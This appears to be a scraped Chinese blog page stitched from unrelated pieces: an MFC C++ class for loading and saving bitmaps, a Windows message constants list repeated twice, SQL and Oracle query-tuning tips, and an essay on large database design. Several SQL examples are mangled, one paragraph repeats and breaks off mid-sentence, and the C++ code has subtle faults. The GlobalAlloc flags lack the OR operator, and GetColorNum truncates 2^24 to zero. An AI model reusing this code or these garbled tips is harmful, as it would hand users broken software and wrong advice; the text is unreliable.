LPBITMAPINFO lpbminfo; // 指向BITMAPINFO结构的指针
LPBITMAPINFOHEADER lpbmihrd; //指向BITMAPINFOHEADER结构的指针
BITMAPFILEHEADER bmfHeader; //BITMAPFILEHEADER结构
LPSTR lpdib; //指向DIB的指针
LPSTR lpDIBBits; // DIB像素指针
DWORD dwDIBSize; //DIB大小
HGLOBAL m_hDib;//DIB对象的句柄
CPalette* m_palDIB;//调色板指针
};
#endif // !defined(AFX_DIB_H__AC952C3A_9B6B_4319_8D6E_E7F509348A88__INCLUDED_)
/////////////////////////////////////////////////////////////////////实现文件//////////////////////////////////////////////////////////////////////////////
// Dib.cpp: implementation of the CDib class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "Dib.h"
#include
#ifdef _DEBUG
#undef THIS_FILE
static char THIS_FILE[]=__FILE__;
#define new DEBUG_NEW
#endif
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CDib::CDib()
{
InitMembers();
}
CDib::~CDib()
{
ClearMemory();
}
/*************************************************************************
* 函数名称：ConstructPalette(HGLOBAL hDIB, CPalette* pPal)
* 函数参数:
* HGLOBAL hDIB，DIB对象的句柄
* CPalette* pPal，调色板的指针
* 函数类型:BOOL
* 函数说明:该函数按照DIB创建一个逻辑调色板
************************************************************************/
BOOL CDib::ConstructPalette(HGLOBAL hDIB, CPalette* pPal)
{
HANDLE hLogPal;// 逻辑调色板的句柄
int iLoop;// 循环变量
BOOL bSuccess = FALSE;// 创建结果
if (hDIB == NULL)//判断是否是有效的DIB对象
{
return FALSE;// 返回FALSE
}
lpdib = (LPSTR) ::GlobalLock((HGLOBAL) hDIB);// 锁定DIB
lpbminfo= (LPBITMAPINFO)lpdib;
long wNumColors =GetColorNum(lpdib);// 获取DIB中颜色表中的颜色数目
if (wNumColors != 0)
{
hLogPal = ::GlobalAlloc(GHND, sizeof(LOGPALETTE)// 分配为逻辑调色板内存
+ sizeof(PALETTEENTRY)
* wNumColors);
if (hLogPal == 0)// 如果失败则退出
{
::GlobalUnlock((HGLOBAL) hDIB);// 解除锁定
return FALSE;
}
LPLOGPALETTE lpPal = (LPLOGPALETTE) ::GlobalLock((HGLOBAL) hLogPal);
lpPal->palVersion = 0x300;// 设置调色板版本号
lpPal->palNumEntries = (WORD)wNumColors;// 设置颜色数目
for (iLoop=0; iLoop<(int)wNumColors;iLoop++)// 读取调色板
{
lpPal->palPalEntry[iLoop].peRed =lpbminfo->bmiColors[iLoop].rgbRed;// 读取三原色分量
lpPal->palPalEntry[iLoop].peGreen =lpbminfo->bmiColors[iLoop].rgbGreen;
lpPal->palPalEntry[iLoop].peBlue =lpbminfo->bmiColors[iLoop].rgbBlue;
lpPal->palPalEntry[iLoop].peFlags =0;// 保留位
}
bSuccess=pPal->CreatePalette(lpPal);// 按照逻辑调色板创建调色板，并返回指针
::GlobalUnlock((HGLOBAL) hLogPal);// 解除锁定
::GlobalFree((HGLOBAL) hLogPal);// 释放逻辑调色板
}
::GlobalUnlock((HGLOBAL) hDIB);// 解除锁定
return bSuccess;// 返回结果
}
/*************************************************************************
* 函数名称：GetBits(LPSTR lpdib)
* 函数参数:
* LPSTR lpdib，指向DIB对象的指针
* 函数类型:LPSTR
* 函数功能:计算DIB像素的起始位置，并返回指向它的指针
************************************************************************/
LPSTR CDib::GetBits(LPSTR lpdib)
{
return (lpdib + ((LPBITMAPINFOHEADER)lpdib)->biSize+GetPalSize(lpdib));
// return (lpdib + *(LPDWORD)lpdib+GetPalSize(lpdib));
}
/*************************************************************************
* 函数名称：GetWidth(LPSTR lpdib)
* 函数参数:
* LPSTR lpdib，指向DIB对象的指针
* 函数类型:DWORD
* 函数功能:该函数返回DIB中图象的宽度
************************************************************************/
DWORD CDib::GetWidth(LPSTR lpdib)
{
return ((LPBITMAPINFOHEADER)lpdib)->biWidth;//返回DIB宽度
}
/*************************************************************************
* 函数名称：GetHeight(LPSTR lpdib)
* 函数参数:
* LPSTR lpdib ，指向DIB对象的指针
* 函数类型:DWORD
* 函数功能:该函数返回DIB中图象的高度
************************************************************************/
DWORD CDib::GetHeight(LPSTR lpdib)
{
return ((LPBITMAPINFOHEADER)lpdib)->biHeight;//返回DIB高度
}
/*************************************************************************
* 函数名称：GetPalSize(LPSTR lpdib)
* 函数参数:
* LPSTR lpdib，指向DIB对象的指针
* 函数类型:WORD
* 函数功能:该函数返回DIB中调色板的大小
************************************************************************/
WORD CDib::GetPalSize(LPSTR lpdib)
{
return (WORD)(GetColorNum(lpdib) * sizeof(RGBQUAD));// 计算DIB中调色板的大小
}
/*************************************************************************
* 函数名称：GetColorNum(LPSTR lpdib)
* 函数参数:
* LPSTR lpdib，指向DIB对象的指针
* 函数类型:WORD
* 函数功能:该函数返回DIB中调色板的颜色的种数
************************************************************************/
WORD CDib::GetColorNum(LPSTR lpdib)
{
long dwClrUsed = ((LPBITMAPINFOHEADER)lpdib)->biClrUsed; // 读取dwClrUsed值
if (dwClrUsed != 0)
{
return (WORD)dwClrUsed;// 如果dwClrUsed不为0，直接返回该值
}
else
{
dwClrUsed=(long)pow(2,24);
return (WORD)dwClrUsed;
}
}
/*************************************************************************
* 函数名称：GetBitCount(LPSTR lpdib)
* 函数参数:
* LPSTR lpdib，指向DIB对象的指针
* 函数类型:WORD
* 函数功能:该函数返回DIBBitCount
************************************************************************/
WORD CDib::GetBitCount(LPSTR lpdib)
{
return ((LPBITMAPINFOHEADER)lpdib)->biBitCount;// 返回位宽
}
/*************************************************************************
* 函数名称：LoadFile(CFile& file)
* 函数参数:
* CFile& file，要读取得文件文件CFile
* 函数类型:HGLOBAL
* 函数功能:将指定的文件中的DIB对象读到指定的内存区域中
*************************************************************************/
HGLOBAL CDib::LoadFile(CFile& file)
{
DWORD dwFileSize;
dwFileSize= file.GetLength();//获取文件大小
if (file.Read((LPSTR)&bmfHeader, sizeof(bmfHeader)) != sizeof(bmfHeader))// 读取DIB文件头
{
return NULL;// 大小不一致，返回NULL
}
// 如果文件类型不是"BM"，其16进制值为0x4d42，则返回并进行相应错误处理
if (bmfHeader.bfType !=0x4d42)
{
return NULL;// 如果不是则返回NULL
}
m_hDib= (HGLOBAL) ::GlobalAlloc(GMEM_MOVEABLE GMEM_ZEROINIT, dwFileSize-sizeof(BITMAPFILEHEADER));// 分配DIB内存
if (m_hDib==NULL)
{
return NULL;// 分配失败，返回NULL
}
/////////////////////////////////////////////////////////////////////////
//给CDib类的成员变量赋值
lpdib = (LPSTR) ::GlobalLock((HGLOBAL) m_hDib);// 锁定
if (file.ReadHuge(lpdib, dwFileSize - sizeof(BITMAPFILEHEADER)) !=// 读像素
dwFileSize - sizeof(BITMAPFILEHEADER) )//大小不一致
{
::GlobalUnlock((HGLOBAL) m_hDib); // 解除锁定
::GlobalFree((HGLOBAL) m_hDib); // 释放内存
return NULL;
}
::GlobalUnlock((HGLOBAL) m_hDib);// 解除锁定
return m_hDib;// 返回DIB句柄
}
/*************************************************************************
* 函数名称：GetReqByteWidth(int bits)
* 函数参数:
* int bits，位数
* 函数类型:int
* 函数功能:获取需要的行字节数，应为4的倍数
*************************************************************************/
int CDib::GetReqByteWidth(int bits)
{
int getBytes=(bits + 31) / 32 * 4;
return getBytes;
}
/*************************************************************************
* 函数名称：GetRectWidth(LPCRECT lpRect)
* 函数参数:
* LPCRECT lpRect，指向矩形区域的指针
* 函数类型:long
* 函数功能:获取矩形区域的宽度
*************************************************************************/
long CDib::GetRectWidth(LPCRECT lpRect)
{
long nWidth=lpRect->right - lpRect->left;
return nWidth;
}
/*************************************************************************
* 函数名称：GetRectHeight(LPCRECT lpRect)
* 函数参数:
* LPCRECT lpRect，指向矩形区域的指针
* 函数类型:long
* 函数功能:获取矩形区域的高度
*************************************************************************/
long CDib::GetRectHeight(LPCRECT lpRect)
{
long nHeight=lpRect->bottom - lpRect->top;
return nHeight;
}
/*************************************************************************
* 函数名称：InitMembers()
* 函数类型: void
* 函数功能:初始化类的成员变量
*************************************************************************/
void CDib::InitMembers()
{
m_hDib=NULL;
lpdib=NULL;
lpDIBBits=NULL;
}
/*************************************************************************
* 函数名称：ClearMemory()
* 函数类型: void
* 函数功能:复位类的成员变量
*************************************************************************/
void CDib::ClearMemory()
{
if(m_hDib!=NULL)
::GlobalFree(m_hDib);
lpdib=NULL;
}
/*************************************************************************
* 函数名称：SaveFile(HGLOBAL hDib, CFile& file)
* 函数参数:
* HGLOBAL hDib，要保存的DIB
* CFile& file，保存文件CFile
* 函数类型:BOOL
* 函数功能:将指定的DIB对象保存到指定的CFile中
*************************************************************************/
BOOL CDib::SaveFile(HGLOBAL hDib, CFile& file)
{
if (hDib == NULL)
{
return FALSE;// 如果DIB为空，返回FALSE
}
lpbmihrd = (LPBITMAPINFOHEADER) ::GlobalLock((HGLOBAL) hDib);// 读取BITMAPINFO结构，并锁定
if (lpbmihrd == NULL)
{
return FALSE;// 为空，返回FALSE
}
bmfHeader.bfType ='BM'; // 填充文件头
dwDIBSize = *(LPDWORD)lpbmihrd + GetPalSize((LPSTR)lpbmihrd);// 文件头大小＋颜色表大小
DWORD dwBmBitsSize;// 像素的大小
dwBmBitsSize =GetReqByteWidth((lpbmihrd->biWidth)*((DWORD)lpbmihrd->biBitCount)) * lpbmihrd->biHeight;// 大小为Width * Height
dwDIBSize += dwBmBitsSize;// 计算后DIB每行字节数为4的倍数时的大小
lpbmihrd->biSizeImage = dwBmBitsSize;// 更新biSizeImage
bmfHeader.bfSize = dwDIBSize + sizeof(BITMAPFILEHEADER);// 文件大小
bmfHeader.bfReserved1 = 0;// 两个保留字
bmfHeader.bfReserved2 = 0;
bmfHeader.bfOffBits = (DWORD)sizeof(BITMAPFILEHEADER) + lpbmihrd->biSize// 计算偏移量bfOffBits
+ GetPalSize((LPSTR)lpbmihrd);
file.Write(&bmfHeader, sizeof(BITMAPFILEHEADER));// 写文件头
file.WriteHuge(lpbmihrd, dwDIBSize);// 写DIB头和像素
::GlobalUnlock((HGLOBAL) hDib);// 解除锁定
return TRUE;// 返回TRUE
}
window 消息说明
WM_PAINT = $000F;
要求一个窗口重画自己
WM_CLOSE = $0010;
当一个窗口或应用程序要关闭时发送一个信号
WM_QUERYENDSESSION = $0011;
当用户选择结束对话框或程序自己调用ExitWindows函数
WM_QUIT = $0012;
用来结束程序运行或当程序调用postquitmessage函数
WM_QUERYOPEN = $0013;
当用户窗口恢复以前的大小位置时，把此消息发送给某个图标
WM_ERASEBKGND = $0014;
当窗口背景必须被擦除时（例在窗口改变大小时）
WM_SYSCOLORCHANGE = $0015;
当系统颜色改变时，发送此消息给所有顶级窗口
WM_ENDSESSION = $0016;
当系统进程发出WM_QUERYENDSESSION消息后，此消息发送给应用程序，
通知它对话是否结束
WM_SYSTEMERROR = $0017;
WM_SHOWWINDOW = $0018;
当隐藏或显示窗口是发送此消息给这个窗口
WM_ACTIVATEAPP = $001C;
发此消息给应用程序哪个窗口是激活的，哪个是非激活的；
WM_FONTCHANGE = $001D;
当系统的字体资源库变化时发送此消息给所有顶级窗口
WM_TIMECHANGE = $001E;
当系统的时间变化时发送此消息给所有顶级窗口
WM_CANCELMODE = $001F;
发送此消息来取消某种正在进行的摸态（操作）
WM_SETCURSOR = $0020;
如果鼠标引起光标在某个窗口中移动且鼠标输入没有被捕获时，就发消息给某个窗口
WM_MOUSEACTIVATE = $0021;
当光标在某个非激活的窗口中而用户正按着鼠标的某个键发送此消息给当前窗口
WM_CHILDACTIVATE = $0022;
发送此消息给MDI子窗口当用户点击此窗口的标题栏，或当窗口被激活，移动，改变大小
WM_QUEUESYNC = $0023;
此消息由基于计算机的训练程序发送，通过WH_JOURNALPALYBACK的hook程序
分离出用户输入消息
WM_GETMINMAXINFO = $0024;
此消息发送给窗口当它将要改变大小或位置；
WM_PAINTICON = $0026;
发送给最小化窗口当它图标将要被重画
WM_ICONERASEBKGND = $0027;
此消息发送给某个最小化窗口，仅当它在画图标前它的背景必须被重画
WM_NEXTDLGCTL = $0028;
发送此消息给一个对话框程序去更改焦点位置
WM_SPOOLERSTATUS = $002A;
每当打印管理列队增加或减少一条作业时发出此消息
WM_DRAWITEM = $002B;
当button，combobox，listbox，menu的可视外观改变时发送
此消息给这些空件的所有者
WM_MEASUREITEM = $002C;
当button, combo box, list box, list view control, or menu item 被创建时
发送此消息给控件的所有者
WM_DELETEITEM = $002D;
当the list box 或 combo box 被销毁 或 当 某些项被删除通过LB_DELETESTRING, LB_RESETCONTENT, CB_DELETESTRING, or CB_RESETCONTENT 消息
WM_VKEYTOITEM = $002E;
此消息有一个LBS_WANTKEYBOARDINPUT风格的发出给它的所有者来响应WM_KEYDOWN消息
WM_CHARTOITEM = $002F;
此消息由一个LBS_WANTKEYBOARDINPUT风格的列表框发送给他的所有者来响应WM_CHAR消息
要求一个窗口重画自己
WM_CLOSE = $0010;
当一个窗口或应用程序要关闭时发送一个信号
WM_QUERYENDSESSION = $0011;
当用户选择结束对话框或程序自己调用ExitWindows函数
WM_QUIT = $0012;
用来结束程序运行或当程序调用postquitmessage函数
WM_QUERYOPEN = $0013;
当用户窗口恢复以前的大小位置时，把此消息发送给某个图标
WM_ERASEBKGND = $0014;
当窗口背景必须被擦除时（例在窗口改变大小时）
WM_SYSCOLORCHANGE = $0015;
当系统颜色改变时，发送此消息给所有顶级窗口
WM_ENDSESSION = $0016;
当系统进程发出WM_QUERYENDSESSION消息后，此消息发送给应用程序，
通知它对话是否结束
WM_SYSTEMERROR = $0017;
WM_SHOWWINDOW = $0018;
当隐藏或显示窗口是发送此消息给这个窗口
WM_ACTIVATEAPP = $001C;
发此消息给应用程序哪个窗口是激活的，哪个是非激活的；
WM_FONTCHANGE = $001D;
当系统的字体资源库变化时发送此消息给所有顶级窗口
WM_TIMECHANGE = $001E;
当系统的时间变化时发送此消息给所有顶级窗口
WM_CANCELMODE = $001F;
发送此消息来取消某种正在进行的摸态（操作）
WM_SETCURSOR = $0020;
如果鼠标引起光标在某个窗口中移动且鼠标输入没有被捕获时，就发消息给某个窗口
WM_MOUSEACTIVATE = $0021;
当光标在某个非激活的窗口中而用户正按着鼠标的某个键发送此消息给当前窗口
WM_CHILDACTIVATE = $0022;
发送此消息给MDI子窗口当用户点击此窗口的标题栏，或当窗口被激活，移动，改变大小
WM_QUEUESYNC = $0023;
此消息由基于计算机的训练程序发送，通过WH_JOURNALPALYBACK的hook程序
分离出用户输入消息
WM_GETMINMAXINFO = $0024;
此消息发送给窗口当它将要改变大小或位置；
WM_PAINTICON = $0026;
发送给最小化窗口当它图标将要被重画
WM_ICONERASEBKGND = $0027;
此消息发送给某个最小化窗口，仅当它在画图标前它的背景必须被重画
WM_NEXTDLGCTL = $0028;
发送此消息给一个对话框程序去更改焦点位置
WM_SPOOLERSTATUS = $002A;
每当打印管理列队增加或减少一条作业时发出此消息
WM_DRAWITEM = $002B;
当button，combobox，listbox，menu的可视外观改变时发送
此消息给这些空件的所有者
WM_MEASUREITEM = $002C;
当button, combo box, list box, list view control, or menu item 被创建时
发送此消息给控件的所有者
WM_DELETEITEM = $002D;
当the list box 或 combo box 被销毁 或 当 某些项被删除通过LB_DELETESTRING, LB_RESETCONTENT, CB_DELETESTRING, or CB_RESETCONTENT 消息
WM_VKEYTOITEM = $002E;
此消息有一个LBS_WANTKEYBOARDINPUT风格的发出给它的所有者来响应WM_KEYDOWN消息
WM_CHARTOITEM = $002F;
此消息由一个LBS_WANTKEYBOARDINPUT风格的列表框发送给他的所有者来响应WM_CHAR消息
星期三, 一月 16, 2008
存储过程编写经验和优化措施
1、开发人员如果用到其他库的Table或View，务必在当前库中建立View来实现跨库操作，最好不要直接使用“databse.dbo.table_name”，因为sp_depends不能显示出该SP所使用的跨库table或view，不方便校验。2、开发人员在提交SP前，必须已经使用set showplan on分析过查询计划，做过自身的查询优化检查。3、高程序运行效率，优化应用程序，在SP编写过程中应该注意以下几点：a) SQL的使用规范：i. 尽量避免大事务操作，慎用holdlock子句，提高系统并发能力。ii. 尽量避免反复访问同一张或几张表，尤其是数据量较大的表，可以考虑先根据条件提取数据到临时表中，然后再做连接。iii. 尽量避免使用游标，因为游标的效率较差，如果游标操作的数据超过1万行，那么就应该改写；如果使用了游标，就要尽量避免在游标循环中再进行表连接的操作。iv. 注意where字句写法，必须考虑语句顺序，应该根据索引顺序、范围大小来确定条件子句的前后顺序，尽可能的让字段顺序与索引顺序相一致，范围从大到小。v. 不要在where子句中的“=”左边进行函数、算术运算或其他表达式运算，否则系统将可能无法正确使用索引。vi. 尽量使用exists代替select count(1)来判断是否存在记录，count函数只有在统计表中所有行数时使用，而且count(1)比count(*)更有效率。vii. 尽量使用“>=”，不要使用“>”。viii. 注意一些or子句和union子句之间的替换ix. 注意表之间连接的数据类型，避免不同类型数据之间的连接。x. 注意存储过程中参数和数据类型的关系。xi. 注意insert、update操作的数据量，防止与其他应用冲突。如果数据量超过200个数据页面（400k），那么系统将会进行锁升级，页级锁会升级成表级锁。b) 索引的使用规范：i. 索引的创建要与应用结合考虑，建议大的OLTP表不要超过6个索引。ii. 尽可能的使用索引字段作为查询条件，尤其是聚簇索引，必要时可以通过index index_name来强制指定索引iii. 避免对大表查询时进行table scan，必要时考虑新建索引。iv. 在使用索引字段作为条件时，如果该索引是联合索引，那么必须使用到该索引中的第一个字段作为条件时才能保证系统使用该索引，否则该索引将不会被使用。v. 要注意索引的维护，周期性重建索引，重新编译存储过程。c) tempdb的使用规范：i. 尽量避免使用distinct、order by、group by、having、join、***pute，因为这些语句会加重tempdb的负担。ii. 避免频繁创建和删除临时表，减少系统表资源的消耗。iii. 在新建临时表时，如果一次性插入数据量很大，那么可以使用select into代替create table，避免log，提高速度；如果数据量不大，为了缓和系统表的资源，建议先create table，然后insert。iv. 如果临时表的数据量较大，需要建立索引，那么应该将创建临时表和建立索引的过程放在单独一个子存储过程中，这样才能保证系统能够很好的使用到该临时表的索引。v. 如果使用到了临时表，在存储过程的最后务必将所有的临时表显式删除，先truncate table，然后drop table，这样可以避免系统表的较长时间锁定。vi. 慎用大的临时表与其他大表的连接查询和修改，减低系统表负担，因为这种操作会在一条语句中多次使用tempdb的系统表。d) 合理的算法使用：根据上面已提到的SQL优化技术和ASE Tuning手册中的SQL优化内容,结合实际应用,采用多种算法进行比较,以获得消耗资源最少、效率最高的方法。具体可用ASE调优命令：set statistics io on, set statistics time on , set showplan on 等
SQL语句优化技术分析
操作符优化 IN 操作符 用IN写出来的SQL的优点是比较容易写及清晰易懂，这比较适合现代软件开发的风格。 但是用IN的SQL性能总是比较低的，从ORACLE执行的步骤来分析用IN的SQL与不用IN的SQL有以下区别： ORACLE试图将其转换成多个表的连接，如果转换不成功则先执行IN里面的子查询，再查询外层的表记录，如果转换成功则直接采用多个表的连接方式查询。由此可见用IN的SQL至少多了一个转换的过程。一般的SQL都可以转换成功，但对于含有分组统计等方面的SQL就不能转换了。 推荐方案：在业务密集的SQL当中尽量不采用IN操作符。 NOT IN操作符 此操作是强列推荐不使用的，因为它不能应用表的索引。 推荐方案：用NOT EXISTS 或（外连接+判断为空）方案代替 <> 操作符（不等于） 不等于操作符是永远不会用到索引的，因此对它的处理只会产生全表扫描。 推荐方案：用其它相同功能的操作运算代替，如 a<>0 改为 a>0 or a<0>’’ 改为 a>’’ IS NULL 或IS NOT NULL操作（判断字段是否为空） 判断字段是否为空一般是不会应用索引的，因为B树索引是不索引空值的。 推荐方案： 用其它相同功能的操作运算代替，如 a is not null 改为 a>0 或a>’’等。 不允许字段为空，而用一个缺省值代替空值，如业扩申请中状态字段不允许为空，缺省为申请。 建立位图索引（有分区的表不能建，位图索引比较难控制，如字段值太多索引会使性能下降，多人更新操作会增加数据块锁的现象） > 及 < 操作符（大于或小于操作符） 大于或小于操作符一般情况下是不用调整的，因为它有索引就会采用索引查找，但有的情况下可以对它进行优化，如一个表有100万记录，一个数值型字段A，30万记录的A=0，30万记录的A=1，39万记录的A=2，1万记录的A=3。那么执行A>2与A>=3的效果就有很大的区别了，因为A>2时ORACLE会先找出为2的记录索引再进行比较，而A>=3时ORACLE则直接找到=3的记录索引。 LIKE操作符 LIKE操作符可以应用通配符查询，里面的通配符组合可能达到几乎是任意的查询，但是如果用得不好则会产生性能上的问题，如LIKE ‘%5400%’ 这种查询不会引用索引，而LIKE ‘X5400%’则会引用范围索引。一个实际例子：用YW_YHJBQK表中营业编号后面的户标识号可来查询营业编号 YY_BH LIKE ‘%5400%’ 这个条件会产生全表扫描，如果改成YY_BH LIKE ’X5400%’ OR YY_BH LIKE ’B5400%’ 则会利用YY_BH的索引进行两个范围的查询，性能肯定大大提高。 UNION操作符 UNION在进行表链接后会筛选掉重复的记录，所以在表链接后会对所产生的结果集进行排序运算，删除重复的记录再返回结果。实际大部分应用中是不会产生重复的记录，最常见的是过程表与历史表UNION。如： select * from gc_dfys union select * from ls_jg_dfys 这个SQL在运行时先取出两个表的结果，再用排序空间进行排序删除重复的记录，最后返回结果集，如果表数据量大的话可能会导致用磁盘进行排序。 推荐方案：采用UNION ALL操作符替代UNION，因为UNION ALL操作只是简单的将两个结果合并后就返回。 select * from gc_dfys union all select * from ls_jg_dfys SQL书写的影响 同一功能同一性能不同写法SQL的影响 如一个SQL在A程序员写的为 Select * from zl_yhjbqk B程序员写的为 Select * from dlyx.zl_yhjbqk（带表所有者的前缀） C程序员写的为 Select * from DLYX.ZLYHJBQK（大写表名） D程序员写的为 Select * from DLYX.ZLYHJBQK（中间多了空格） 以上四个SQL在ORACLE分析整理之后产生的结果及执行的时间是一样的，但是从ORACLE共享内存SGA的原理，可以得出ORACLE对每个SQL 都会对其进行一次分析，并且占用共享内存，如果将SQL的字符串及格式写得完全相同则ORACLE只会分析一次，共享内存也只会留下一次的分析结果，这不仅可以减少分析SQL的时间，而且可以减少共享内存重复的信息，ORACLE也可以准确统计SQL的执行频率。 WHERE后面的条件顺序影响 WHERE子句后面的条件顺序对大数据量表的查询会产生直接的影响，如 Select * from zl_yhjbqk where dy_dj = '1KV以下' and xh_bz=1 Select * from zl_yhjbqk where xh_bz=1 and dy_dj = '1KV以下' 以上两个SQL中dy_dj（电压等级）及xh_bz（销户标志）两个字段都没进行索引，所以执行的时候都是全表扫描，第一条SQL的dy_dj = '1KV以下'条件在记录集内比率为99%，而xh_bz=1的比率只为0.5%，在进行第一条SQL的时候99%条记录都进行dy_dj及xh_bz的比较，而在进行第二条SQL的时候0.5%条记录都进行dy_dj及xh_bz的比较，以此可以得出第二条SQL的CPU占用率明显比第一条低。 查询表顺序的影响 在FROM后面的表中的列表顺序会对SQL执行性能影响，在没有索引及ORACLE没有对表进行统计分析的情况下ORACLE会按表出现的顺序进行链接，由此因为表的顺序不对会产生十分耗服务器资源的数据交叉。（注：如果对表进行了统计分析，ORACLE会自动先进小表的链接，再进行大表的链接）
SQL语句索引的利用 对操作符的优化（见上节） 对条件字段的一些优化 采用函数处理的字段不能利用索引，如： substr(hbs_bh,1,4)=’5400’，优化处理：hbs_bh like ‘5400%’ trunc(sk_rq)=trunc(sysdate)， 优化处理： sk_rq>=trunc(sysdate) and sk_rq50，优化处理：ss_df>30 ‘X’hbs_bh>’X5400021452’，优化处理：hbs_bh>’5400021542’ sk_rq+5=sysdate，优化处理：sk_rq=sysdate-5 hbs_bh=5401002554，优化处理：hbs_bh=’ 5401002554’，注：此条件对hbs_bh 进行隐式的to_number转换，因为hbs_bh字段是字符型。 条件内包括了多个本表的字段运算时不能进行索引，如： ys_df>cx_df，无法进行优化 qc_bhkh_bh=’5400250000’，优化处理：qc_bh=’5400’ and kh_bh=’250000’ 应用ORACLE的HINT（提示）处理 提示处理是在ORACLE产生的SQL分析执行路径不满意的情况下要用到的。它可以对SQL进行以下方面的提示 目标方面的提示： COST（按成本优化） RULE（按规则优化） CHOOSE（缺省）（ORACLE自动选择成本或规则进行优化） ALL_ROWS（所有的行尽快返回） FIRST_ROWS（第一行数据尽快返回） 执行方法的提示： USE_NL（使用NESTED LOOPS方式联合） USE_MERGE（使用MERGE JOIN方式联合） USE_HASH（使用HASH JOIN方式联合） 索引提示： INDEX（TABLE INDEX）（使用提示的表索引进行查询） 其它高级提示（如并行处理等等）
SQL语句索引的利用 对操作符的优化（见上节） 对条件字段的一些优化 采用函数处理的字段不能利用索引，如： substr(hbs_bh,1,4)=’5400’，优化处理：hbs_bh like ‘5400%’ trunc(sk_rq)=trunc(sysdate)， 优化处理： sk_rq>=trunc(sysdate) and sk_rq
大型数据库的设计原则与开发技巧
随着计算机技术越来越广泛地应用于国民经济的各个领域，在计算机硬件不断微型化的同时，应用系统向着复杂化、大型化的方向发展。数据库是整个系统的核心，它的设计直接关系系统执行的效率和系统的稳定性。因此在软件系统开发中，数据库设计应遵循必要的数据库范式理论，以减少冗余、保证数据的完整性与正确性。只有在合适的数据库产品上设计出合理的数据库模型，才能降低整个系统的编程和维护难度，提高系统的实际运行效率。虽然对于小项目或中等规模的项目开发人员可以很容易地利用范式理论设计出一套符合要求的数据库，但对于一个包含大型数据库的软件项目，就必须有一套完整的设计原则与技巧。
一、成立数据小组 大型数据库数据元素多，在设计上有必要成立专门的数据小组。由于数据库设计者不一定是使用者，对系统设计中的数据元素不可能考虑周全，数据库设计出来后，往往难以找到所需的库表，因此数据小组最好由熟悉业务的项目骨干组成。 数据小组的职能并非是设计数据库，而是通过需求分析，在参考其他相似系统的基础上，提取系统的基本数据元素，担负对数据库的审核。审核内容包括审核新的数据库元素是否完全、能否实现全部业务需求；对旧数据库（如果存在旧系统）的分析及数据转换；数据库设计的审核、控制及必要调整。
二、设计原则
１．规范命名。所有的库名、表名、域名必须遵循统一的命名规则，并进行必要说明，以方便设计、维护、查询。 ２．控制字段的引用。在设计时，可以选择适当的数据库设计管理工具，以方便开发人员的分布式设计和数据小组的集中审核管理。采用统一的命名规则，如果设计的字段已经存在，可直接引用；否则，应重新设计。 ３．库表重复控制。在设计过程中，如果发现大部分字段都已存在，开发人员应怀疑所设计的库表是否已存在。通过对字段所在库表及相应设计人员的查询，可以确认库表是否确实重复。 ４．并发控制。设计中应进行并发控制，即对于同一个库表，在同一时间只有一个人有控制权，其他人只能进行查询。 ５．必要的讨论。数据库设计完成后，数据小组应与相关人员进行讨论，通过讨论来熟悉数据库，从而对设计中存在的问题进行控制或从中获取数据库设计的必要信息。 ６．数据小组的审核。库表的定版、修改最终都要通过数据小组的审核，以保证符合必要的要求。 ７．头文件处理。每次数据修改后，数据小组要对相应的头文件进行修改（可由管理软件自动完成），并通知相关的开发人员，以便进行相应的程序修改。
三、设计技巧
１．分类拆分数据量大的表。对于经常使用的表（如某些参数表或代码对照表），由于其使用频率很高，要尽量减少表中的记录数量。例如，银行的户主账表原来设计成一张表，虽然可以方便程序的设计与维护，但经过分析发现，由于数据量太大，会影响数据的迅速定位。如果将户主账表分别设计为活期户主账、定期户主账及对公户主账等，则可以大大提高查询效率。 ２．索引设计。对于大的数据库表，合理的索引能够提高整个数据库的操作效率。在索引设计中，索引字段应挑选重复值较少的字段；在对建有复合索引的字段进行检索时，应注意按照复合索引字段建立的顺序进行。例如，如果对一个５万多条记录的流水表以日期和流水号为序建立复合索引，由于在该表中日期的重复值接近整个表的记录数，用流水号进行查询所用的时间接近３秒；而如果以流水号为索引字段建立索引进行相同的查询，所用时间不到１秒。因此在大型数据库设计中，只有进行合理的索引字段选择，才能有效提高整个数据库的操作效率。 ３．数据操作的优化。在大型数据库中，如何提高数据操作效率值得关注。例如，每在数据库流水表中增加一笔业务，就必须从流水控制表中取出流水号，并将其流水号的数值加一。正常情况下，单笔操作的反应速度尚属正常，但当用它进行批量业务处理时，速度会明显减慢。经过分析发现，每次对流水控制表中的流水号数值加一时都要锁定该表，而该表却是整个系统操作的核心，有可能在操作时被其他进程锁定，因而使整个事务操作速度变慢。对这一问题的解决的办法是，根据批量业务的总笔数批量申请流水号，并对流水控制表进行一次更新，即可提高批量业务处理的速度。另一个例子是对插表的优化。对于大批量的业务处理，如果在插入数据库表时用普通的Ｉｎｓｅｒｔ语句，速度会很慢。其原因在于，每次插表都要进行一次Ｉ/Ｏ操作，花费较长的时间。改进后，可以用Ｐｕｔ语句等缓冲区形式等满页后再进行Ｉ/Ｏ操作，从而提高效率。对大的数据库表进行删除时，一般会直接用Ｄｅｌｅｔｅ语句，这个语句虽然可以进行小表操作，但对大表却会因带来大事务而导致删除速度很慢甚至失败。解决的方法是去掉事务，但更有效的办法是先进行Ｄｒｏｐ操作再进行重建。 ４．数据库参数的调整。数据库参数的调整是一个经验不断积累的过程，应由有经验的系统管理员完成。以Ｉｎｆｏｒｍｉｘ数据库为例，记录锁的数目太少会造成锁表的失败；逻辑日志的文件数目太少会造成插入大表失败等，这些问题都应根据实际情况进行必要的调整。 ５．必要的工具。在整个数据库的开发与设计过程中，可以先开发一些小的应用工具，如自动生成库表的头文件、插入数据的初始化、数据插入的函数封装、错误跟踪或自动显示等，以此提高数据库的设计与开发效率。 ６．避免长事务。对单个大表的删除或插入操作会带来大事务，解决的办法是对参数进行调整，也可以在插入时对文件进行分割。对于一个由一系列小事务顺序操作共同构成的长事务（如银行交易系统的日终交易），可以由一系列操作完成整个事务，但其缺点是有可能因整个事务太大而使不能完成，或者，由于偶然的意外而使事务重做所需的时间太长。较好的解决方法是，把整个事务分解成几个较小的事务，再由应用程序控制整个系统的流程。这样，如果其中某个事务不成功，则只需重做该事务，因而既可节约时间，又可避免长事务。 ７．适当超前。计算机技术发展日新月异，数据库的设计必须具有一定前瞻性，不但要满足当前的应用要求，还要考虑未来的业务发展，同时必须有利于扩展或增加应用系统的处理功能。
